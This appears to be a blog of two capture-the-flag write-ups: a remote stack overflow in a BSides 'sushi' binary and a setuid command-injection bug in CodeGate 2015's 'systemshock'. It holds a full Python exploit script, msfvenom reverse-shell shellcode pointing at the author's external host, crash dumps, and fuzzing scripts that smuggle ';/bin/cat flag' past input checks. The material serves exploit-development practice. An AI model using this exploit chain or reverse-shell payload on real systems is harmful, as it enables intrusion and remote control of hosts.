 sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xded3f8ec9c4a27b93245abe4301f9a46924d5327, stripped  

Being the trusting type, I try to execute the program and am greeted with an input prompt asking me to deposit money for sushi?

 root@mankrik:~/bsides# ./sushi  
 Deposit money for sushi here: 0x7fff863241f0  
 $1.00  
 Sorry, $0.36 is not enough.  

Welp, that's a little interesting. An memory address and some kind of output. Being a simple level pwnable challenge, let's just quickly fuzz inputs to see if we can speedily come to a conclusion without too much disassembly. For this I use a bit of bash redirection from a python script.

 #!/usr/bin/python  
 import os  
 for i in range(1,1000):  
      buf = 'A' * i  
      cmd = '/bin/sh -c "echo ' + buf + '" | ./sushi'  
      print str(i) + ":"  
      os.system(cmd)  

Which results in:

 70:  
 Deposit money for sushi here: 0x7fff2a5e6530  
 Sorry, $0.65 is not enough.  
 71:  
 Deposit money for sushi here: 0x7fff34b64fc0  
 Sorry, $0.65 is not enough.  
 72:  
 Deposit money for sushi here: 0x7ffff2602560  
 Sorry, $0.65 is not enough.  
 Segmentation fault  
 73:  
 Deposit money for sushi here: 0x7ffffeb7f050  
 Sorry, $0.65 is not enough.  
 Segmentation fault  

Nothing for the first 71 bytes but after that we have a crashing sushi program. Cool, so maybe its an overflow due to poor input validation? Sounds likely so let's check why it's crashing with GDB and a 72 byte long string:

 root@mankrik:~/bsides# perl -e 'print "A" x 72; print "\n"'  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 root@mankrik:~/bsides# gdb --quiet ./sushi  
 Reading symbols from /root/bsides/sushi...(no debugging symbols found)...done.  
 (gdb) r  
 Starting program: /root/bsides/sushi   
 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000  
 Deposit money for sushi here: 0x7fffffffe250  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 Sorry, $0.65 is not enough.  
 Program received signal SIGSEGV, Segmentation fault.  
 0x00007ffff7a70e03 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6  
 (gdb) i r  
 rax      0x0     0  
 rbx      0x0     0  
 rcx      0xffffffff     4294967295  
 rdx      0x7ffff7dd8de0     140737351880160  
 rsi      0x1     1  
 rdi      0x1     1  
 rbp      0x4141414141414141     0x4141414141414141  
 rsp      0x7fffffffe2a0     0x7fffffffe2a0  
 r8       0x10     16  
 r9       0x1     1  
 r10      0x4141414141414141     4702111234474983745  
 r11      0x246     582  
 r12      0x4004a0     4195488  
 r13      0x7fffffffe370     140737488348016  
 r14      0x0     0  
 r15      0x0     0  
 rip      0x7ffff7a70e03     0x7ffff7a70e03 <__libc_start_main+83>  
 eflags     0x10202     [ IF RF ]  
 cs       0x33     51  
 ss       0x2b     43  
 ds       0x0     0  
 es       0x0     0  
 fs       0x0     0  
 gs       0x0     0  
 (gdb)   

Ok so we can control the value of EBP with 72 bytes of A's. What about with more A's? An address is 6 bytes long in this context so I'll bump up the buffer size to 78 bytes.

 (gdb) r  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
 Starting program: /root/bsides/sushi   
 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000  
 Deposit money for sushi here: 0x7fffffffe250  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 Sorry, $0.65 is not enough.  
 Program received signal SIGSEGV, Segmentation fault.  
 0x0000414141414141 in ?? ()  
 (gdb)   

Ok that's more like it. Direct control over EIP from 78 bytes of input. So now all we need to do is exploit this remotely and capture the flag.  Easy!

First roadblock is, if you noticed from the results of the offset fuzzing python output about is that each time the sushi program starts the address it gives is different. ASLR does this and if it behaves this way on the remote system as it does on my local system then we need to deal with that in order to deliver a reliable exploit.

Fortunately our sushi engineers have been nice to just give us a perfectly valid stack location right in the greeting banner.

 root@mankrik:~/bsides# gdb --quiet ./sushi  
 Reading symbols from /root/bsides/sushi...(no debugging symbols found)...done.  
 (gdb) r  
 Starting program: /root/bsides/sushi   
 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000  
 Deposit money for sushi here: 0x7fffffffe250  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 Sorry, $0.65 is not enough.  
 Program received signal SIGSEGV, Segmentation fault.  
 0x0000414141414141 in ?? ()  
 (gdb) x/8bx 0x7fffffffe250  
 0x7fffffffe250:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 (gdb)   

It even points directly to our input, so in order to start getting code executing we just need to parse this address and deliver it into the EIP location from there the OS will jump right into our buffer and begin executing some delicious shellcode.

Before we go too much further, let's get an environment setup which emulates the CTF environment. We can easily bind our sushi to a port using netcat. We can even wrap it with a while loop so it restarts after we crash it.

 root@mankrik:~/bsides# while [ 1 ]; do nc -lvp 4000 -e ./sushi; done  
 listening on [any] 4000 ...  

Then use netcat to test:

 root@mankrik:~/bsides# nc localhost 4000   
 Deposit money for sushi here: 0x7fff85649a20  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 Sorry, $0.65 is not enough.  
 root@mankrik:~/bsides#   

Which results in this neatness.

 root@mankrik:~/bsides# while [ 1 ]; do nc -lvp 4000 -e ./sushi; done  
 listening on [any] 4000 ...  
 connect to [127.0.0.1] from localhost [127.0.0.1] 51068  
 Segmentation fault  
 listening on [any] 4000 ...  

OK so we have a working sushi server, knowledge about how to properly crash sushi and how to control EIP, we even know how to get a valid stack address and where to put that stack address in our payload in order to execute code.

In order to deliver all that I'm going to use pwntools / binjitsu which is a python framework used to make writing CTF exploits simpler.

Firstly lets build a script that just connects and parses the stack location and prepares that address for injection into our payload then sends the payload to see what happens...

 #!/usr/bin/python  
 from pwn import *  
 buf = "A" * 72  
 # open the tcp connection and receive the banner  
 conn = remote('localhost', 4000)  
 sushihello = conn.recvline()  
 # parse the stack address from the sushi banner  
 line = sushihello.split()  
 addr = line[5].replace("0x","")  
 # Reverse the byte order of the address  
 little = "".join(reversed([addr[i:i+2] for i in range(0, len(addr), 2)]))  
 # convert the addresses to binary  
 data = little.decode('hex')  
 # build payload  
 attackstring = buf + data  
 # display some debug information for ourselves  
 print sushihello  
 print "Address: 0x" + addr  
 print "Length of attack: " + str(len(attackstring))  
 # send the payload  
 conn.send(attackstring)  
 conn.close()  

Which results in this cool output thanks to binjitsu.

 root@mankrik:~/bsides# ./suship1.py   
 [+] Opening connection to localhost on port 4000: Done  
 Deposit money for sushi here: 0x7fff16633800  
 Address: 0x7fff16633800  
 Length of attack: 78  
 [*] Closed connection to localhost port 4000  

Let's add one thing just before it sends the payload "attackstring" so that we can have a few seconds to attach a debugger if we want:

  ...  
  print "Length of attack: " + str(len(attackstring))   
  # sleep so we can attach a debugger  
  time.sleep(10)  
  # send the payload   
  conn.send(attackstring)   
  ...  

And to simplify attaching a debugger, without having to know the pid every time, use this Bash one-liner to fire up GDB on the sushi process:

 root@mankrik:~/bsides# gdb --quiet -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  

So all that preperation done, let's run our exploit, attach our debugger and see where we're at:


 root@mankrik:~/bsides# gdb --quiet -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  
 warning: bad ps syntax, perhaps a bogus '-'?  
 See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ  
 Attaching to process 46889  
...
 0x00007fbc9bd18970 in read () from /lib/x86_64-linux-gnu/libc.so.6  
 (gdb) c  
 Continuing.  
 Program received signal SIGSEGV, Segmentation fault.  
 0x00007fff06f4fe30 in ?? ()  
 (gdb) x/4i $pc  
 => 0x7fff06f4fe30:     rex.B  
   0x7fff06f4fe31:     rex.B  
   0x7fff06f4fe32:     rex.B  
   0x7fff06f4fe33:     rex.B  
 (gdb) x/4bx $pc  
 0x7fff06f4fe30:     0x41     0x41     0x41     0x41  

Awesome! So we've exploited the process and our current crash is while trying to execute in our payload of "A"s which are the 0x41 bytes.

Time for shellcode, but before we go down that path let's consider what we're working with.

So far our buffer is only a measly 78 bytes long. Subtract 6 bytes for the EIP we need to inject that's 72 and we have to deduct a few more bytes from that to take into account any values our shellcode may need to push onto the stack in order to successfully execute. This leaves us with about 64 bytes give or take and there aren't that many options for shellcode that small that will operate remotely.

For my situation I decided I would go for a reverse TCP shell payload, keeping in mind the BSides event information and knowing that the challenges are in a chroot environment with only /bin/sh and /bin/cat really available. This seemed to be a good option.

So off to metasploit framework to generate our payload, I used msfvenom tool for this in Kali which I configured to send me a shell to my EC2 instance on port 80/tcp:

Note: You will not be able to directly use this shell code as it points directly to my EC2 instance. You'll need to use msfvenom to generate your own shellcode.

 root@mankrik:~/bsides# msfvenom -f python -p linux/x64/shell_reverse_tcp LHOST=54.65.5.90 LPORT=80  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86_64 from the payload  
 No encoder or badchars specified, outputting raw payload  
 buf = ""  
 buf += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"  
 buf += "\x97\x48\xb9\x02\x00\x00\x50\x36\x41\x05\x5a\x51\x48"  
 buf += "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"  
 buf += "\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"  
 buf += "\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"  
 buf += "\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"  

Argh! We have a problem. We only have 64 bytes or less available but my shellcode is 74 bytes. What to do? We need to spread out more. Hopefully we can figure this out by supplying a bigger buffer in our exploit.

Lets' add another buffer in our exploit and change the payload:

 from pwn import *  
 buf = "A" * 72  
 after = "A" * 80  
 # open the tcp connection and receive the banner  
 ...  
 # build payload  
 attackstring = buf + data + after  
 # display some debug information for ourselves  
 ...  

Lets run the exploit and debug...

 0x7fffc31fe000  
 0x00007f9331cfd970 in read () from /lib/x86_64-linux-gnu/libc.so.6  
 (gdb) c  
 Continuing.  
 Program received signal SIGSEGV, Segmentation fault.  
 0x00000000004005f2 in ?? ()  
 (gdb) x/4i $pc  
 => 0x4005f2:     retq    
   0x4005f3:     nopw  %cs:0x0(%rax,%rax,1)  
   0x4005fd:     nopl  (%rax)  
   0x400600:     push  %r15  

Hmm damn, seems we went backwards as we're not crashing in the right place anymore. Why?

Well through trial and error I found it to be due to the data stored on our stack after our injected EIP value. This is a 64 bit program but the address length we supplied was only 6 bytes. We need to pad the value with 2 null bytes before continuing our buffer with our arbitrary data.

Let's update our exploit and try again:

 from pwn import *  
 buf = "A" * 72  
 after = "A" * 80  
 nulls = "\x00\x00"
 # open the tcp connection and receive the banner  
 ...  
 # build payload  
 attackstring = buf + data + nulls + after  
 # display some debug information for ourselves  
 ...  

And the debug output confirms we're back to executing our code but this time with a tonne of space on the stack after our EIP value:

 Program received signal SIGSEGV, Segmentation fault.  
 0x00007fff4a9c8ea0 in ?? ()  
 (gdb) x/4i $pc  
 => 0x7fff4a9c8ea0:     rex.B  
   0x7fff4a9c8ea1:     rex.B  
   0x7fff4a9c8ea2:     rex.B  
   0x7fff4a9c8ea3:     rex.B  
 (gdb) x/160bx $pc  
 0x7fff4a9c8ea0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ea8:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8eb0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8eb8:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ec0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ec8:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ed0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ed8:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ee0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ee8:     0xa0     0x8e     0x9c     0x4a     0xff     0x7f     0x00     0x00  
 0x7fff4a9c8ef0:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8ef8:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f00:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f08:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f10:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f18:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f20:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f28:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f30:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  
 0x7fff4a9c8f38:     0x41     0x41     0x41     0x41     0x41     0x41     0x41     0x41  

So whats next though, we could do the next step in two ways. Instead of specifying the EIP we are now, we could add 78 to it so it would jump forward, or we could insert a jmp instruction at the current EIP value and tell it to do the jump into our second, larger buffer.

Let's do the latter because it sounds more fun. First lets get the opcodes for jmp +80bytes. We can do this with the nasm_shell tool from metasploit framework:

 root@mankrik:~/bsides# /usr/share/metasploit-framework/tools/nasm_shell.rb  
 nasm > jmp 80  
 00000000 E94B000000    jmp dword 0x50  

Ok so in python format thats jmp = "\xe9\x4b\x00\x00\x00", lets add it to our exploit and subtract the number of bytes from our buffer so we keep everything in order.

Let's also replace our "after" buffer with real live shellcode. So our full exploit now looks like this:

 #!/usr/bin/python   
 from pwn import *   
 jmp = "\xe9\x4b\x00\x00\x00"  
 buf = "A" * (72 - len(jmp))   
 shellcode = ""   
 shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"   
 shellcode += "\x97\x48\xb9\x02\x00\x00\x50\x36\x41\x05\x5a\x51\x48"   
 shellcode += "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"   
 shellcode += "\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"   
 shellcode += "\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"   
 shellcode += "\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"   
 nulls = "\x00\x00"  
 # open the tcp connection and receive the banner   
 conn = remote('localhost', 4000)   
 sushihello = conn.recvline()   
 # parse the stack address from the sushi banner   
 line = sushihello.split()   
 addr = line[5].replace("0x","")   
 # Reverse the byte order of the address   
 little = "".join(reversed([addr[i:i+2] for i in range(0, len(addr), 2)]))   
 # convert the addresses to binary   
 data = little.decode('hex')   
 # build payload   
 attackstring = jmp + buf + data + nulls + shellcode  
 # display some debug information for ourselves   
 print sushihello   
 print "Address: 0x" + addr   
 print "Length of attack: " + str(len(attackstring))   
 # send the payload   
 conn.send(attackstring)   
 conn.close()   

Great - we should be all set. This time, instead of using GDB to debug the sushi program, let's use strace to trace what's going on. The command line syntax is the same as GDB (e.g. strace -p <pid>)

 root@mankrik:~/bsides# strace -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  
 warning: bad ps syntax, perhaps a bogus '-'?  
 See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ  
 Process 52194 attached - interrupt to quit  
 read(0, "", 4096)            = 0  
 write(1, "Sorry, $0.-23 is not enough.\n", 29) = 29  
 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("54.65.5.90")}, 16^C <unfinished ...>  
 Process 52194 detached  
 root@mankrik:~/bsides#   

Woot! Our shell code is trying to make the outbound reverse shell connection!

The only thing left to do here is to change the exploit to point at the sushi server in the live production instance and exploit it. Once the shell is achieved we simply use "cat flag.txt" and receive the flag.

A fun challenge for me this one as I had been waiting for an opportunity to practice remote overflow writing and also this was the first time I got my feet wet with binjitsu.

Write up by Dacat

Monday, March 16, 2015

CodeGate 2015 - System Shock Pwnable

For this years CodeGate teams faced some ingenious challenges. Today I will write up the first challenge we solved which seems to have also been first for many of the teams. This challenge is Systemshock.

  □ description  
 ==========================================  
 Login : ssh systemshock@54.65.236.17  
 Password : systemshocked  
 ==========================================  

Upon logging in you are placed into the systemshock user home path with the following files:

 systemshock@ip-172-31-3-97:~$ ls -la  
 total 32  
 drwxr-xr-x 2 systemshock    systemshock 4096 Mar 14 08:59 .  
 drwxr-xr-x 5 root        root    4096 Mar 12 19:40 ..  
 lrwxrwxrwx 1 root        root      9 Mar 14 08:59 .bash_history -> /dev/null  
 -rw-r--r-- 1 systemshock    systemshock 220 Mar 12 19:34 .bash_logout  
 -rw-r--r-- 1 systemshock    systemshock 3392 Mar 12 19:34 .bashrc  
 -r-------- 1 systemshock-solved root     56 Mar 14 08:59 flag  
 -rw-r--r-- 1 systemshock    systemshock 675 Mar 12 19:34 .profile  
 -rwsr-xr-x 1 systemshock-solved systemshock 5504 Mar 12 20:07 shock  
 lrwxrwxrwx 1 root        root      9 Mar 14 08:59 .viminfo -> /dev/null  

We cant read the flag right now because its owned by user systemshock-solved and is mode 0400:

 systemshock@ip-172-31-3-97:~$ cat flag  
 cat: flag: Permission denied  

The shock file is a Linux ELF binary program that is setuid and executable:

 systemshock@ip-172-31-3-97:~$ file shock  
 shock: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x15fb3a120bea64fa53993f6552d52d9e1370a5a9, stripped  

Upon executing the setuid binary "shock" with no arguments we get no output

 systemshock@ip-172-31-3-97:~$ ./shock  
 systemshock@ip-172-31-3-97:~$  

Feeding it a test string we get the output of what looks like the /usr/bin/id command:

 systemshock@ip-172-31-3-97:~$ ./shock test  
 id: test: No such user  

That's cool, so this binary is executing "id" with the arguments we feed it? Sweet, lets validate our theory:

 systemshock@ip-172-31-3-97:~$ ./shock systemshock  
 uid=1002(systemshock) gid=1002(systemshock) groups=1002(systemshock)  
 systemshock@ip-172-31-3-97:~$ ./shock root  
 uid=0(root) gid=0(root) groups=0(root)  

Ok so we assume it's running the "id" command with escalated privileges since the binary is setuid, the binary is setuid user "systemshock-solved". So our first thought is that this must be a command injection vulnerability. So I test the obvious thing first:

 systemshock@ip-172-31-3-97:~$ ./shock "root;cat flag"  
 systemshock@ip-172-31-3-97:~$  

Ok! So that didn't work... but why?

Next thing we do is download the shock binary. To download it I was very lazy so just ran "base64 shock" and then copy/pasted the base64 encoded file to my Kali linux system which i then ran base64 -d against.

With the binary on my local system I was able to do several things, firstly I loaded the binary in IDA Pro to check for obvious things. Static analysis was slow without symbols so I loaded it into GDB and dynamically analysed the steps. 

Firstly I deduced the main function entry point and set breakpoints at obvious branch locations that I found during static analysis with IDA Pro.

Next I stepped through execution with acceptable values of argv (e.g. valid usernames) and unacceptable values (e,g. command injection attempts containing semicolons).

What I was able to find is pretty obvious in that it loops through the command line argument byte by byte and exits when any character not in the A-Za-z0-9 set is found. This pretty much excludes any form of simple command injection here by string manipulation so it was time to look elsewhere. 

Next lets try another obvious point; maybe we can fuzz this binary to investigate the possibility of controlling execution flow of the escalated process? A stack overflow would do the trick if we can control EIP maybe...

 systemshock@ip-172-31-3-97:~$ ./shock `perl -e 'print "A" x 100'`  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 systemshock@ip-172-31-3-97:~$ ./shock `perl -e 'print "A" x 1000'`  
 Segmentation fault  

Ok so it crashes when fed a long argv, cool, lets look into why?

 root@mankrik:~/codegate# gdb ./shock  
 GNU gdb (GDB) 7.4.1-debian  
 Copyright (C) 2012 Free Software Foundation, Inc.  
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
 This is free software: you are free to change and redistribute it.  
 There is NO WARRANTY, to the extent permitted by law. Type "show copying"  
 and "show warranty" for details.  
 This GDB was configured as "x86_64-linux-gnu".  
 For bug reporting instructions, please see:  
 <http://www.gnu.org/software/gdb/bugs/>...  
 Reading symbols from /root/codegate/shock...(no debugging symbols found)...done.  
 (gdb) r `perl -e 'print "A" x 1000'`  
 Starting program: /root/codegate/shock `perl -e 'print "A" x 1000'`  
 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000  
 Program received signal SIGSEGV, Segmentation fault.  
 0x00007ffff7b6c8cf in ?? () from /lib/x86_64-linux-gnu/libc.so.6  
 (gdb) i r  
 rax      0x4141414141414141     4702111234474983745  
 rbx      0x0     0  
 rcx      0x1     1  
 rdx      0x7fffffffe16b     140737488347499  
 rsi      0x7fffffffe620     140737488348704  
 rdi      0x4141414141414140     4702111234474983744  
 rbp      0x7fffffffdea0     0x7fffffffdea0  
 rsp      0x7fffffffdd58     0x7fffffffdd58  
 r8       0x4141414141414141     4702111234474983745  
 r9       0xfefefefefefeff40     -72340172838076608  
 r10      0x0     0  
 r11      0x7ffff7ad0090     140737348698256  
 r12      0x400650     4195920  
 r13      0x7fffffffdf80     140737488347008  
 r14      0x0     0  
 r15      0x0     0  
 rip      0x7ffff7b6c8cf     0x7ffff7b6c8cf  
 eflags     0x10202     [ IF RF ]  
 cs       0x33     51  
 ss       0x2b     43  
 ds       0x0     0  
 es       0x0     0  
 fs       0x0     0  
 ---Type <return> to continue, or q <return> to quit---q  
 Quit  
 (gdb)   

So we did crash it, but not in a super useful and easy to use way yet. We could look further into this crash but first let's look at using different length strings to see if we can crash in other places that might be a quick win instead.

We use this python script which I ran on my local system.

Note: I would not advise trying this on the live CTF server, that may get you banned!:

 #!/usr/bin/python  
 import os  
 for i in range(100,1000):  
      buf = 'A' * i  
      cmd = "./shock "+ buf  
      print str(i) + ":"  
      os.system(cmd)       

It spits out information like this.

 351:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 *** stack smashing detected ***: ./shock terminated  
 Segmentation fault  
 352:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 *** stack smashing detected ***: ./shock terminated  
 Segmentation fault  
 353:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 *** stack smashing detected ***: ./shock terminated  
 Segmentation fault  
 354:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 *** stack smashing detected ***: ./shock terminated  
 Segmentation fault  

What's interesting in the output is that there's a few separate crashes with different symptoms, right at about the 527 byte area it looks like were crashing in a different place.

 526:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 Segmentation fault  
 527:  
 Segmentation fault  

On the off chance we can take advantage of a different code path in the program, let's try a slightly modified python script.

I've added a key piece below (the inject string) and added a file on my local system called "flag" with the text "You got a flag!"

 #!/usr/bin/python  
 import os  
 inject = '";/bin/cat flag"'  
 for i in range(100,1000):  
      buf = 'A' * i  
      cmd = "./shock "+ buf + inject  
      print str(i) + ":"  
      os.system(cmd)       

When I ran this on my local system, I was "shocked" to see this output right around the 511 byte buffer size mark. This only worked at 2 different offsets, 511 bytes and 512 bytes.

 511:  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 You got a flag!  
 Segmentation fault  

So let's take a command line argument of exactly 511 x A's and the string ";/bin/cat flag" and paste it onto the live system:

